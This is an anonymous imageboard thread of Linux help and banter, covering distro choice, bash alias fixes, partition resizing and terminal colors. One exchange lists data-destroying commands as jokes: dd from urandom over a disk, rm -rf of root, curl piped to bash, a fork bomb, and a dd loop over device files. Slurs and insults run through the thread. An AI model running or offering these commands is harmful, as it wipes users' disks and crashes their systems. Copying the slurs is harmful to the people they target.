/fglt/ - Friendly GNU/Linux Thread

>Xubuntu
>Intel Celeron 2.1 GHz
>2 Gb RAM
Which browser should I put there? All mainstream are too heavy. It's for my mom, she's okay with pc, but nothing too h4x0r neckbeard tier, please.

No, I'm not asking you to suggest me to buy ram or new laptop or put arch whatever, thank you, 4chin.

Let us all dedicate a moment of silence to solaris.
Thanks oracle.

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>>62262783

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>>62261520
Download an easy to use distro of your choice, make a bootable USB stick with that ISO, boot into the live system and then just follow the installer instructions to install it
I recommend KDE Neon, but anything Ubuntu based will be really easy
Antergos is also easy if you want an Arch based system

>>62262916
absolute rubbish

I have a laptop with a broken screen and I just installed debian onto it. I want to noww plug it into the router and access it over the network. How do I go about doing this? SSH? VNC?

>New to linux
>Decide to try arch through a usb drive
>Setup a desktop, get wifi working, everything going good
>start messing with multilib
>internet browser no longer works
>desktop background no longer appears
Well, I fucked that up.
Will give it another try some other time.

>>62263351
Depends what you want and what platform you want to access it from. Other graphical options are windows remote desktop protocol (from the xrdp package, X forwarding over ssh (graphical programs will crash when you disconnect) or x2go (kinda like rdp but less microsofty) or xpra (like x2go but uses x264 to stream graphics instead of X forwarding).

>>62263042
You're rubbish

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reminder

>>62263584
gas yourself back to /flt/

>>62263566
windows. I used vnc for my beaglebone and that worked out alright. I'm new to linux and just trying to make a mini server.

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>>62263600

>>62262809
what happened? i'm stuck on 10 for the rest of time it seems

>>62263621
https://meshedinsights.com/2017/09/03/oracle-finally-killed-sun/

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What does this mean?

>>62263818
It means "you should switch to something without NSAware"

>>62263836
seriously what does selinux have to do with nsa besides being a security idea originated from them? it has no backdoors

>>62263853
If someone who is known for breaking into homes would sell you a door lock, would you buy it?

>>62263960
if i could inspect it and see no easy to break things then yes, considering that it would be secure against most common attacks compared to a shitty home depot lock that can be picked easily. if however i couldnt see inside it then of course not

>>62263392
did you install arch to the usb drive or just run the live desktop? either just reinstall it or reboot the machine??

>>62264044
I installed it to the usb drive so I could easily alter it through virtual box and also have the ability boot into it directly.

I will reinstall it once I have the energy to give it another go.
I wrote everything I need to do in case anything went wrong anyway.

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Advanced users of GNU/Linux (and I mean advanced), remember to try Source Mage GNU/Linux. True source-based distribution, and (in contrast with Gentoo and Arch) is:
Free from obfuscated and pre-configured code.
Fully committed to GPL, uses only free software (as in freedom) in their main package.
With even the documentation licensed as FDL.
Without 3rd party patches, sensible defaults or masked packages.
Doesn't need obfuscated python libraries, only bash.
No systemd (they've implemented their own init scripts system http://sourcemage.org/Init).
Uses clean dependencies as they came from upstream developers, which by the same provides instant updates.
Can heal broken installs.
Can also use flags.

Do you like Arch Linux's AUR? Do you like Gentoo's portage (or ports-like) package manager? With SMGL's "sorcery" you get all that. Making new spells (package build files) not found in the grimoire (repository of spells) is easy http://sourcemage.org/Spell/Book

Bash hackers welcome! Come and join http://sourcemage.org/

Installing SMGL is easy, here's the simplified process:
>boot a live Ubuntu (or whatever) USB drive
>go to SMGL website and download compressed archive of the base system
>partition and mount partition(s)
>extract the archive onto the new partition(s)
>chroot, set root passwd, hostname, configure network and locale, write fstab, install grub/lilo
>reboot
>compile a kernel (preferably the newest stable one from kernel.org)
>update sorcery, grimoires and the build toolchain
>rebuild the system (hold spells you've already built, so you don't build them twice)
The install guide will hold your hand through the whole process http://sourcemage.org/Install/Chroot
Do the chroot method, since the regular live ISO method guide is out of date currently.

Here's a list of common commands: https://pastebin.com/i4DALaNV

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For those interested in some history, Source Mage was originally called Sorcerer (first released in 2000, the same year as Gentoo), but due to some problems (around 2002), Sorcerer split into 3 distros: Lunar Linux (pretty much dead), Sorcerer (fork by the original creator, he took it offline for some reason and killed it) and Source Mage (with most of the original dev team).
By the time Source Mage got off the ground (2002), Gentoo had already amassed a large and vibrant community, basically leaving Source Mage in the dust.
Since Gentoo had much more momentum at a critical time, Source Mage remained in it's shadow ever since.
That's the reason why Source Mage is largely unknown now compared to Gentoo, despite technically being as old as Gentoo.
http://sourcemage.org/History
https://en.wikipedia.org/wiki/Source_Mage#History

Despite all that, Source Mage is still a good distro.
The package management tools work well and there are still people working on them.
The problem is that the distro is so small right now, there are not enough people to maintain all the spells and keep them up with the upstream.
If you're going to install it, you should use the test grimoire (it's not bleeding edge, but it's quite up to date and fine for my needs at least).

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Why is Linus rubbing his belly?

>>62263584
Correct.

>>62262685
I want a bukkake from 11 Stallman clones.

I don't get Gentoo, why do people want to compile everything on their own machine? What does it change if it's compiled on a server farm somewhere?

>>62265411
Maximum customizability and the ability to tailor the programs to your needs.

>>62265411
If you have to ask, you'll never know. It's the difference between buying instant coffee and grinding your own beans.

>>62265411
-it's optimized for YOUR computer. Binary distros must use generic i686/amd64 optimizations for support on a wide range of hardware. On gentoo you can optimize for what your pc can do for possible speed gains in a lot of applications
-programs are configured for your needs via USE flags
-multiple versions of software are available to install. From a lot of libraries and runtimes you can even install multiple versions in the same this. This actually can matter a lot for developers.

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Does it matter if I install an OS at the end of the HDD space?
I read somewhere that performance is worse on the edge of the HDD, since that mechanical arm that reads the data needs to travel greater distances.

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>tfw couldn't install arch in a vm

>>62265634
>frogposter
>mentally incapacitated
color me surprised

>>62265811
In my defense, they have spread the installation guide across 10+ tabs, and I am not used to manage that many tabs.

>>62266154
what are you talking about?
it's literally one short page https://wiki.archlinux.org/index.php/installation_guide

>>62266176
Not that guy, but it links to other pages for virtually every part of the installation.

>>62266176
I don't really know how to partition a drive, or install grub, or set timedatectl, or how to set up lvm for encryption or so on... So you see, I have to click those blue links to make it through to the next step.

>>62266208
well if you don't know how to use fdisk for example, why would they explain it there?
at least they were nice enough to spoonfeed people by even linking it
>>62266227
>So you see, I have to click those blue links to make it through to the next step.
that doesn't make those other pages part of the installation guide

>>62266239
I don't have to fire up a wiki to install Windows, Debian, Fedora, Solus, Ubuntu and so on.. So yes, those links are a part of the installation guide.

>>62266275
not being able to follow a simple installation guide and inform yourself on things you should've already known before installing arch is one thing, but being unable to look through the history of the "Beginners' Guide" article if you really need it makes you beyond retarded
https://wiki.archlinux.org/index.php?title=Beginners'_guide&action=history

>>62266293
Whatever fag, you sound like an elitist autist. I'm going to spend this day reading the wiki just to avoid being looked down by the faggots like you.

>>62266373
good for you, anon

>>62265449
https://prima-coffee.com/learn/article/grinder-basics/is-it-always-better-grind-fresh
(also a better analogue would be roasting your own beans)

>>62265548
That's truth for mechanical drives, but the performance lost is only significant if you have an old dying drive, or a 10tb drive.

>>62264613
It's on their website. Why do you need to spam this thread with things we already know?

>>62265467
>>62265440
>>62265411
Just for the record--and I use gentoo myself--a declarative package manager is technically a binary distro but gives comparable if not greater flexibility than a distro like Gentoo.

>>62266373
>I'm going to spend this day reading the wiki just to avoid being looked down by the faggots like you.
That's kind of the point, you lazy, stupid cunt.

>>62266973
>declarative package manager
which one specifically are you talking about?

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What are some distros that use SysV init?

>>62267155
Devuan

>>62267180
Isn't that even older than Debian at this point?

>>62266973
I don't think they are binary distros at all

If you try to think of them that way you quickly run into difficulty understanding the process, whereas it's much more natural to think of them as source based distros.

The files the package manager reads are not binary installation instructions they are instructions for building from source.

However it doesn't stop there. But consider this for example. Imagine if every binary you built on your Gentoo machine was 100% identical (bit for bit) to the binary compiled by anyone else. Wouldn't it then be reasonable for the Gentoo maintainers to offer an additional service whereby you can save time and download the binary instead? There is nothing lost or gained what you end up with is still as if you had compiled it yourself.

Would you then claim Gentoo is a binary based distro? I wouldn't as it still retains all of its benefits over true binary distros, but merely has an additional time-saving feature built on top of the source based package management system.

That's exactly what GuixSD and NixOS are.

>>62267155
System V

>>62262685

alias h='"$(xsel)" | sed s/hook/you/ | xsel && mpv --ytdl-format=worstaudio --no-cache "$(xsel)"'

h
>-bash: https://hooktube.com/watch?v=yfzdk6_Zwl0: No such file or directory
>Playing:
>[file] Cannot open file '': No such file or directory
>Failed to open .


>Exiting... (Errors when loading file)

what do

Is there some good screen capture program for Linux?

>>62267474
>This video does not exist.

There's your problem

>>62267477
scrot

>>62267477
gentoo

I just wrote V5jd in libreoffice

how the fuck do you use office suite tools anymore it's so fucking slow

>>62267477
source mage

>>62267519
>using office suite tools at all
just use latex like a non retard

>>62267502
What about video?

>boondocks
>fall for cable meme
>it actually works
>downloading distros faster then I can dd them to stick
>what do

>>62267477
kazam
recordmydesktop

>>62267680
>>62267477
ffmpeg

>>62267707
lol

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>>62267701
multiboot usb

>>62267496
i changed letters that's not it

im asking about the syntax of it

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>>62267727

It doesn't matter who we are.
What matters is our plan.

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>Void
>CRUX
>Gentoo
>Slackware
Tell me which one to install and why.

>>62267474

$(xsel)

tries to evaluate the output of xsel as a bash command, which obviously fails. You need to echo it to stdout instead. Try

alias h='echo "$(xsel)" | sed s/hook/you/ | xsel && mpv --ytdl-format=worstaudio "$(xsel)"

>>62267873
Forgot to terminate the string with an apostrophe at the end there.

>>62267865
Source Mage GNU/Linux
>why
Source magic.

>>62267865
void unless you have a buildserver for gentoo

>>62267963
Why not CRUX or Slackware?

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Reposting from mpv thread.

>mesa 17.2 is out
>dis gon be good
>update
>frame times increased literally x2
So this is the power... of FOSS drivers?

>>62267981
I am not familiar with either, though I don't see why you'd want to manually resolve dependencies in slackware or how crux is better than gentoo

>>62268015
>manually resolve dependencies in slackware
lmao what

>>62267891
i was just about to post

alias h='xsel | sed s/hook/you/ | xsel && mpv --ytdl-format=worstaudio --no-cache "$(xsel)"'

i think i understand when to use "$( )" now

what the fuck, slackware is even harder than gentoo

>>62268003
$() basically gets substituted with the output of the enclosed command. So if you run xsel and it spits out "pornhub.com", then your alias looks like this after the substitution:

"pornhub.com" | sed s/hook/you/ | xsel && mpv --ytdl-format=worstaudio ""

Now the shell tries to evaluate the leftmost expression. "pornhub.com" is not a valid bash command, which is where the error comes from (no command with this name was found). The standard output (as opposed to the error output) of "pornhub.com" (the command that wasn't found) is an empty string. This gets piped into sed. sed takes the empty string, substitutes nothing (the string "hook" is not contained within the empty string) but also does not return an error, and pipes its output (empty string again) into xsel. Your clipboard now contains an empty string. xsel does not return an error, so the command after the && gets executed. That happens to be mpv. Only NOW does it substitute the $() with xsel's output, which is, as we established, an empty string. No file named "" (without the quotation marks) can be found, so mpv returns an error.

What makes Puppy Linux (Slacko Puppy) so fast? I installed it on a USB stick and it feels more responsive than my Debian install which is pretty minimal with i3wm.

>>62268285
Debian.

>>62268313

But it just works...

>>62268285
puppy loads itself into memory rather than staying on the disk - so all the programs are launched very quickly

What is the best GNU/Linux virtualmachine?

>>62268605
gentoo

>>62268721
Learn to use memes properly

>>62268732
d-d-delet this

>>62265390
You're not alone.

>>62265390
GNUkake

>>62269021
I'd just like to interject for a moment. What you're referring to as GNUkak, is actually GNU/Bukkake or as I've recently taken to calling it, GNU plus Bukkake.

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I love this guy

>>62267474
mpv --ytdl-format=worstaudio --no-cache "$(sed 's/you/hook/' <<< "$(xsel)")"

>>62265293
Tux

>>62269096
xsel -bo*

>>62269096
>subshell in a subshell

Looking for an icon theme for KDE Plasma. Breeze is fine but doesn't have icons for all my applications

>>62269556
did you try using a search engine for 'kde icon themes'?

>>62269579
Yeah, searches primarily found outdated shitty icon themes by some pajeets. I ended up looking at the most popular icon themes at AUR and git cloned a few.
Cheers

I'm going to install Gentoo tonight.
But before that, I must eat pizza.
I never drink while I eat and I drink nothing but Coca Cola after a pizza.
I'll install Gentoo while drinking Coca Cola.
What movie/anime do you suggest I watch while I eat my pizza, before installing Gentoo?

>>62270051
The Cola Wars.

tl;dr : Partition resizing

Got a Windows 8 laptop a number of years ago, when I initially installed Linux I didn't make a very big partition (100GB on a 1TB HD) and I want to make it bigger (I only use the Windows half for gaming so I figured it should have most space but I have plenty left).
Due to how it came set up and some tinkering, this thing has like 11 partitions (wtf), and I've had some boot issues before after big updates or dealing with partition stuff (boot repair handled these pretty well usually). Once my partition got stuck read-only but I fixed it.
I'm just shrinking Windows and growing Linux (Ubuntu), so hopefully everything will be smooth, but is there a best way to go about this with minimal chance of fucking my shit up? Resize from Live USB? Resize from in Windows using its partition tool? Can I resize from in Ubuntu right now with GParted?

>>62270635
gparted from a live system (ubuntu or debian live are just fine)

>>62267155
Slackware
Salix
PCLinuxOS

>>62270831
>Slackware
doesn't it use some type of BSD init?

>>62270635
there is a remote possibility the flilesystem version on a gparted live cd is different than your installation medium's partition tool.

>>62270775
Live as in live usb, or live as in the os I'm in and running right now? I assume former, but just checking.

Probably a stupid question but why does it seem like Fedora always has up to date or almost up to date package versions? I thought it wasn't rolling release

>>62270883
live USB, I forgot. Root partition modifications are best done from an outside system currently not using any of the disk.

>>62270903
Because it's red hat's testbed. It pulls software right from upstream and it gets a new distro release every six m months with fresh packages.

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>>62269137

>>62270842
Yes.

>>62270903
The only consistent difference between rolling and regular release Linux flavors is how often the kernel gets updated. Rolling means it gets a new "linux" pretty much whenever (in Arch's case, 4-5 times a month); regular means only once every 5-6 months or more slowly.

With non-kernel packages, it's always up to the whim of the maintainers.

>>62271151
how's it different from sysv init?

>>62270920
Thanks.
>>62270862
What does this mean/entail? I'd use an ubuntu live usb, can't I install gparted on that and then I assume it'd detect my filesystem version/do the right thing?

>>62262783
>It's for my mom
Brave

>>62270862
only affects newly created filesystems. FS' already created won't be converted to new formats or get new features like ACLs if you didn't have it already just by resizing/moving.

>>62262783
Qupzilla (soon to be called Falkon), my friend. It's very lightweight but enough to have an adblocker. Runs as smoothly as Chromium in my usage. If it had more add-ons and crap, I'd easily use it as my main browser.

>>62271167
BSD init is a lot simpler. Instead of ordering and runlevels being done by way of symlinks in directories, BSD init has simple textfiles which just list all the scripts to be executed at the runlevel. The scripts are simpler, too.
It's less of a headache to manage but also less flexible.

fresh debian mate installl what am I missing

> sudo apt-get install ranger w3m feh vim mpv i3

>>62271747
nmap gcc emacs-nox ed sl

>>62262783
dillio,w3m,tor browser bundle

>>62253632
Okay, I'd better install Ubuntu and Infinality patch, i'm a noob.

>all these people using i3 >>62270363
When did this happen?

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I'm having trouble installing Arch dual boot with Windows 7, could someone help me? Like, step by step.

>>62262809
>>62263653
Is SPARC kill?

>>62272068
i3 has always been popular among ricers, and since /g/ desktop threads are dead, they keep posting in screenfetch and survey threads.

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Does INIT INFO actually do anything or is it just an ordinary comment meant for humans to read?

Am I the only one who doesn't abuse `cat` every time he needs to view a short file and uses `more` instead?

>>62272157
Nema problema https://wiki.archlinux.org/index.php/installation_guide

>>62272367
I type less by habit since I someone do it the first time I used a GNU/Linux OS.

>>62272367
more? Please grandpa it's time to sleep.

>>62272406
>>62272416
more pukes the file contents to stdin just like cat and leaves you alone if the file lines are fewer than the terminal rows and it's better than less because of that for small files (at least for me)

>>62272441
>stdin
stdout*

>>62272367
>not using less

For very short files (ones that take up less than your terminal's height), cat, more, and less are the same.

For slightly larger files (more than a screenful), more is just a slightly more awkward version of cat. less is ideal since its display/movement commands are the same as vim's.

less's search is also more powerful and less autistic than more's search.

>>62272482
>For very short files (ones that take up less than your terminal's height), cat, more, and less are the same.
less is not the same because it doesn't exit like more, but waits for you to press q instead

>>62262685
Can anyone tell me the program that provides the "x is not installed, it can be found in the package y" kind of message that displays on some distros when you try to run a program from a package you don't have?
Or just how to check what package provides a certain program.

less is more

>>62272531
That depends on your package manager, some have it, some don't

>>62272531
that would be a waste of so much of your time, since every time you mistypped a command, it would do `pacman -Ss <command>` and you'd need to wait about 2 seconds for it to finish before you can get back to what you were doing

>>62272585
mistyped*

Hello!
I just installed Arch recently and I'm a newbie at all the packages to install.

How would I be able to double click executables instead of having to ./executable them every time I want to run them. I know I can just make .desktop's but I do not think that is necessary.
Thank you.

>>62272600
>How would I be able to double click executables instead of having to ./executable them every time I want to run them.
that would depend on your file manager, no?

>>62272613
I'm using the default one that comes with xfce, I believe.

>>62272634
well I'm not, so I can't help you, but surely there's an option somewhere in the settings, right?

>>62272656
Been looking around the settings, does not to be any.
Although I guess I can deal with making .desktop's for now.

>>62272664
did you try right click?

>>62272686
I did indeed. Just gave me an option to open with mousepad and such, etc...

>>62272383
I read the wiki from top to bottom, even though I could not make the dual boot work. After installing the two OS (Windows first then Arch with GRUB) the boot happens with GRUB only, showing only Arch as an option.

>>62272774
did you install os-prober?

>>62272508
Ah, you're right. Still, you can set less to behave like more/cat with small files by doing "less -F" (just one of less's many options). Or making an alias, or create defaults with the LESS environment variable (doing, for instance, export LESS='-F').

In this case, less's huge versatility makes it truly supersede more.

>>62272531
Depends on your distro. `apt-file search` for Debian, Ubuntu etc, `pacman -Fo` for Arch, `dnf provides` for Fedora and don't know about others.

>>62272801
huh guess I should've rtfm

i'm trying to install ubuntu on a partitioned HDD space. the ubutntu install instructions tell me i need to put the files on a usb or dvd and boot from the usb or dvd. I don't have either a usb or dvd.

I created a virtual disk with the ubuntu files on it however i cannot figure out how to boot from the virtual disk.

>>62272791
Yes, I must have missed something, I'll try again.

>>62273039
after you installed os-prober you ahve to run

grub-mkconfig -o /boot/grub/grub.cfg

again so grub can pick up the other os

I like KDE Plasma a bunch

>>62273131
I don't, i hate it. Do you want to fight over who's right?

>>62273131
good for you, anon
you should contribute to the project if you can, KDE could use some more manpower and polishing

How do I get wifi working on gentoo

>>62262685
Hey /fglt/, first time here.
I've installed my first distro today, Linux mint xfce and I really like it. I'll start messing around and ricing tomorrow.
Earlier I faced a problem with GPU drivers: I installed TF2 but the menu was black. Loaded a map and i could like see white outlines and shadows. Obviously unplayable but I can't find a solution. The driver that mint suggest doesn't solve anything.
I have an Intel graphics 4000. Anyone has had a similar experience?
I'd really like to be able to play some comfy games on my ThinkPad. Thank you in advance.

>>62273345
you need the 32 bit version of libpng12 for that game, check if its isntalled.
This usually helps for problems with steam games: https://wiki.archlinux.org/index.php/Steam/Game-specific_troubleshooting
or more specifically for tf2: https://wiki.archlinux.org/index.php/Steam/Game-specific_troubleshooting#Team_Fortress_2

>>62272367
No. You're a sane person.

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>>62271047

if you use
>arch
>i3
>powerline prompt
>zsh+oh-my-zsh
>solarized colors
ur a meme

How does using a unix based os benefit development more than a non-unix based os (Windows)?

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>firefox starts depending on pulseaudio for sound
>fuckit.jpg
>install pulseaudio
>hopefully it won't be like 4 years ago on ubuntu
>weeks pass, sound works
>wow, I guess pulseaudio wasn't so bad after all
>wonder why the fuck haven't I installed it sooner
>fast forward to today
>sitting at the computer, minding my own busyness
>time-to-watch-some-anime.sh
>mfw anime has no sound
>try everything, nothing was muted, there was no reason for sound not to work
>try playing some music with mpd
>works.wtf
>it's probably mpv having some problems after an update, since I installed it from the AUR
>"$(pacman -S mpv)".png
>play anime
>no sound
>mfw I realize mpd uses the alsa output
>try `mpv --ao=alsa <anime>`
>works.wow
>try everything to get pulseaudio to work
>nothing-works.flac
>mfw firefox sound now doesn't work with or without pulseaudio
>mfw I realized lennart fucked me again
>mfw this is the same guy that's in charge of my init system
why is this allowed?

How do I run a .exe, which requires Adobe Air to run, on Xubuntu? I have no idea how to do this in Wine/PlayonLinux/any other program

>>62273637
don't
it produces mustard gass

>>62273549
I just installed apulse and re-emerged Firefox. it just werks
Thanks based Gentoo

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>>62262685

What did they mean by this?
What is a readable color scheme for my terminal?

>>62273716
I installed apulse and sound still doesn't work
do I need to compile firefox myself?
is it time to install gentoo?

>>62272977
Well for one you can't just "put the files on it" you have to make sure to actually "burn the iso image" to the disk.
and secondly that wouldn't be a GNU/Linux specific issue, just start searching for general information on booting from a virtual disk, if it's even possible. It might not be.
There might be other ways you can still get it installed though

>>62273716
nvm, apparently I need to run stuff as arguments to apulse

https://www.newscientist.com/article/2146294-facebook-ai-learns-human-reactions-after-watching-hours-of-skype/

>>62273755
same question.

im so sick of all of these pastel color schemes that are impossible to read, i want a nice bright colored high contrast scheme, but dotshare.it just has hipster colors

also solarized sucks

>>62273755
terminal.sexy

>>62273637
my friend tried this and his system got the botnet, stay away from anything made by adobe

>>62273963
I felt the exact same way, but then of course the standard bright ones are _too_ bright. I'll post mine in an hour or so when I get home

>>62273755
>>62273963
just use ls without colors you faggots
this is my ls alias

alias ls='ls -F'

>>62273549
>blaming software for your own failure
arch users never change

>>62273991
how did I fail, lennart?

>>62273755
>>62273963

dircolors, my friend.

I generally prefer using underlines and/or bolds rather than backgrounds.

You probably have a .dir_colors file in your home directory already. Just edit that, following the guides given in the file itself.

If you have a good text editor (like vim/neovim), the colors and styles will change as you edit them. You'll also be able to tell what filetype/directorytype is being made to look ugly. OTHER_WRITABLE, STICKY_OTHER_WRITABLE, or STICKY usually look like ass.

After you've successfully edited your .dir_colors file, just do

$ dircolors -b .dir_colors

And then open up a new terminal.

>>62273984
do me a favor and reply to me so i dont miss it?

>>62273963
amber text on black background

>>62273986
Aliases exist to make aliases. They are not made to overwrite commands. Stop doing it, or it will some day break your neck when you run `rm' and expect it to have some aliases -i or -I or -v flag. Same with other commands.

In your example, just alias l (or something else) instead of ls.

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>>62273755
Konsole's Breeze colours are noice. Well, the bg is a bit gay dark grey so I might change that

>>62274054
>using defaults
are you sure that youre ready for linux

>>62274032
>when you run `rm' and expect it to have some aliases -i or -I
I don't do that
and I don't know how -F flag for ls and -v flag for rm/whatever is going to break my neck

>>62274076
Nobody was talking about Linux, retard.

>>62274054
what is eix

everyone says "install gentoo", looking at the page is seems that its lots of afford and takes pretty long to install it (compiling and all that)

should i really install gentoo or did i get memed?

>>62274122
I'm installing gentoo right now

>>62274122
It's a meme you dip.

>/v/
git gut
>/b/
lurk moar
>/g/
install gentoo

>>62274122
install gentoo is the like delet system32

>>62274105
>eix - a set of utilities for searching, diffing and updating a binary cache of your local portage-trees
basically a search tool for portage's local ebuilds. `emerge --seach` is a bit unwieldy sometimes.. a lot of times.

\v\<<< >>62274141 >>/b/

>>62274122
it's a meme to keep people away from funtoo so it doesn't get fucked up by being too popular and shit

>>62274122
Gentoo is a joke distro made by a macfag.
>package manager in python
please

dont do it

>>62274122
this >>62274183
Source Mage is a source distro for serious busyness

>>62266176
They fucked up the beginner's guide, which had the actual commands right in it.

>>62274359
you pathetic manifestation of utter retardation
see >>62266293

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>>62274359
Yep. Luckily the old version is still available with some trickery: https://wiki.archlinux.org/index.php?title=Beginners%27_guide&oldid=446855

Fucking elitists.

>>62274406
delet this

https://usesthis.com/interviews/daniel.robbins/
thoughts?

>>62274384
Unfriendly peasant.

>>62274406
>Fucking elitists.
>implying that's a bad thing
with no elitism this community would be dead
elitism is the only thing keeping metal from going to shits like all the other music genres
elitism is the only thing keeping anonymous communities cancer free

Just got here. Can someone sum up this thread?

>>62274406
Trouble is it could get outdated

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>>62274457

>>62274457
wraaagh
wree ree whuee whueeee
woah crack chuck ouh eee
weeh reh wraaah aah

Why does uBlock origin stop appchan X from working?

>>62274473
>>62274480
thanks. I have a question about linuxes now. How do I get the linuxes onto the macintoshes for the windows managers to works wells?

X11 barely works on this mbp and I want to get muh tiling window manager back...

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if sysv init can run scripts in parallel, what's the point of systemd then?

>>62274509
the init scripts are less unreadable. I think that's the only argument.

>>62274507
install gentoo

>>62274507
very carefully

>>62274439
>I actually try to avoid using Linux on the desktop because it's a distraction from my focus, which is Linux userspace internals (non-GUI stuff.)

did he just BTFO everyone in this thread?

>Linux distracts me from my real work.

>>62274507
install source mage

>>62274557
>linux keeps distracting me from linux
user error

>>62274491
>not using adnauseam
>not using 4chanX

What do you guys use for email?

>>62274590
cock.li

>>62274590
25/tcp

I'm currently homeless.
How can Linux improve my life?

>>62274590
mutt

>>62274617
no

>>62274614
so sendmail? postfix? some kind of gui client?

>>62274617
very carefully

>>62274473
source?

>>62274647
your ass crack

>>62274660
Rude.

>>62274674
yes.

Window manager?
I've tried twm, awesomewm, i3, and a bunch of the gay ass bloat environments, gnome, kde, unity/compix or whatever complete fuck up ubuntu had.

What's the best one? So far i3 hasn't annoyed me terribly. Awesomewm was fun once I fixed the config...

>>62274617
First, it's called GNU/linux
Second, If you are homless and can't buy windows, you can use debian or something
Third, get a part time job or something

>>62274731
>What's the best one?
dwm

>>62274741
This, dwm is so fucking solid.
Just use stock dwm if you can't be fucked ricing it.

>>62274731
>What's the best one?
bspwm

air guitar

and gentoo

with some air drums inbetween the riffs

beard moshing

>>62274032
I don't know what distro you're using, but ls is probably aliased out of the box.

>>62274856
Some distros alias ll, la, etc for ls, but they dont alias the commands directly.

Some anon told me Debian installs a lot of optional packages and i think this is true, is there a way to disable it?

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>>62273963
>>62274007
Here's my color scheme.

I tried really hard a while back to have not too bright, but still vibrant colors with enough contrast to all stand out against each other as much as possible and this is what I came up with.

It's a lot harder than it looks while still maintaining the correct color order (a lot of color schemes actually have incorrect color assignments). The red is a little bit on the pinkish side to avoid color conflicts, trying to make it more red looking makes some of the text blend in too much
The white is fairly dark to ensure that yellow highlighted text (like when using search in vim) stands out enough to read

Let me know if you think any changes improve the contrast, I'm always interested in making it better.

https://paste.pound-python.org/show/m4WR4IuyoMCg2CrCj8Eb/

>>62273523
What about zsh and I make my own prompt lines?

>>62274950
this is pretty much perfect for me
thanks!

>>62275106
Then you're fine.

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>>62274950
literally readable

>>62275199
crop it correctly, it looks like shit

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Gee wiz, thanks for making my mind up for me guys!

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>>62275220
Better?

>>62275240
much better
>>62275222
rotate it correctly, it looks like shit

What are the most dangerous command nobody should ever run because actual shit will happen?

>>62275287

:(){ :|: & };:

Not as friendly as he looks

>>62275287
sudo dd if=/dev/urandom of=/dev/sda
sudo rm -rf --no-preserve-root /
curl http://lol.sh | bash
:(){ :|:& };:
pacman -Syu

>>62275348
What does it do?

>>62275369
spoon bomb

>>62275369
It starts a function called :, which starts itself twice (:|:) in the background (&).

More clear:

start_bomb() { start_bomb | start_bomb & }; start_bomb

>>62275287
curl free-cp.gov

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>>62275350
>pacman -Syu

>>62275398
How is this bad?

>>62263584
>>62263615
this lmao

>>62275449
too many processes make linux shit its pants and go down

>>62275287
something like this would surely do some serious damage, right?

for i in $(find /dev /sys /run -type b -or -type c -or -type p -or -type s);do dd if=/dev/zero of="$i"&;done

>>62275468

for i in $(sudo find /dev /sys /run -type b -or -type c -or -type p); do echo "$i" | lolcat ; done

>>62275464
GNU bash does not have this problem.

help ulimit

Just switched to elementary. Trying to get magnet links to work in deluge. How do i find/edit xdg-open to do this?

>>62275505
Is it good?

>>62275491
>>62275468
Why the for loop, just use find's -exec ?

>>62275524
yeah, I'm not really a 'find' expert

I need a suckless way to convert a pic in svg into png from the cli. Any recommendations?

>>62275539
gentoo

>>62275534

find . -exec sh -c "echo {} | lolcat" \;

>>62275563
>echo {}
how does that work?

>>62275539
ImageMagick ofc.

convert -density 1337 input.svg output.png

For transparency:

convert -background none -density 1337 input.svg output.png

Density decides the output size.

>>62275539
I take it by your use of the "suckless" meme that all of the solutions here offend your sensibilities?

https://stackoverflow.com/questions/9853325/how-to-convert-a-svg-to-a-png-with-image-magick

>>62275595
Find replaces {} with the current search result.

>>62275606
>>62275599
Perfect, thanks.

>>62275595
>>62275612

The example is actually bad b/c it starts shells (because of the pipe to lolcat), in most situations, you just type the command after -exec for example:

find . -maxdepth 1 -type f -exec echo {} \;

There's also -execdir, which acts like you run the following command from the directory where the current search result sits.

There's also -ok and -okdir, same as -exec and -execdir, but it asks for confimation.

benis

>>62275774
what grinds my gears is that programs dont follow conventions

like, -maxdepth should be a gnu long options e.g. --maxdepth or traditional unix-like -md or something

reee

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Does anyone know how to refresh/clear the search bar in KDE? I have a bunch of files named terminal that no longer exist, but they show up anyway.

I generally use terminal as a shortcut to get to Konsole, but that list is still growing.

>>62275774
thanks for the info

How do I delete multiple lines in a terminal at once? Like how I would in anything else(mouse drag and backspace) doesn't work, just deletes 1 letter.

>>62275816
Autism. Also traditional options are single characters so you can combine them.

How difficult is it to switch arch linux from systemd to any other init?

>>62275930
Easy. Install Devuan.

>>62275943
I need the bleeding edge, I really liked arch linux for always having the latest version of packages

>>62275816
If you want to have an OS with clean rules what is allowed and what isn't, install Windows.

Learn to enjoy that things like that are possible.

>>62274581
Funny but do you have any actual advice?

Are there any browsers that are lightweight and can still handle shitty facebook flash games? I swapped my Moms laptop (like 9 years old) to Lubuntu which made it usable again but her shitty flash games bog it down completely and won't run right in either Chromium or FF, which I think is kind of weird considering the laptop has the specs IMO to do that kind of thing (3GB of RAM, ATI3000 series card, 2.4GHz core duo)

>>62274581
>4chanX
is this better than appchanX? I like the features in appchan but it makes everything look like SHIT

>>62275990
Appchan X is the better version.

>>62275958
Not him but install said programs.
AdNauseam is like ublock with an overlay which randomly clicks ads, which kills the user-tracking/ad business model
4chanX is under active development, you get updates ever 1-3 days and they they try to fix any lil shit 4chan comes up with (like the recents new-threads-only-with-new-recaptcha-crap).

>>62275990
hows appchan? never tried it. anyone who tried both and knows which is cooler?

>>62275924
Anyone? Seems like pretty simple stuff I just don't know how to do it...surely you niggas aren't deleting long strings 1 letter at a time..right?

>>62276011
>AdNauseam is like ublock
Actually it's ublock plus extended features. I'ts a direct fork with the same functionality.

>>62275930
>>62275957
Easy. Install Void.

>>62276031
appchan feature wise is bretty good, but theme wise it fucks my fonts up really hard and moves everything around (i dont like change) so i had to uninstall it

>>62276000
>appchanx
>last commit march 2016
>better

>>62276043
I'm using void, but it's bothering my OCD right now some packages aren't as up to date as I would like them.

>>62276011
>randomly clicks ads
Never understood why people fall for this, isn't this the actual opposite of privacy?

>>62276058
what's stopping you from updating them manually?
just edit the PKGBUILD equivalents on void

>>62276058
I thought about trying Void, but until it has something like AUR i just can't do it.

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>>62276061
There's a profile of you, no matter if you click an AD or not. The benefits of clicking random ADs are:
a) Your profile turns into unusable garbage.
b) pic related

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>>62276032
We don't make mistakes.

But there are probably a lot of different ways to deal with it. By default it should be using emacs hotkeys that I'm not very comfortable with

Personally I just have vi-mode on and use vi hotkeys. For more heavy editing I can just enter command mode and press V to open the command in vim and edit it there.
vim can also handle mouse input if you're into that sort of thing

How can I make firefox redirect me to https://search.disconnect.me/ everytime I try to connect to google? I'm trying to break the habit of using google and this would make it easier.

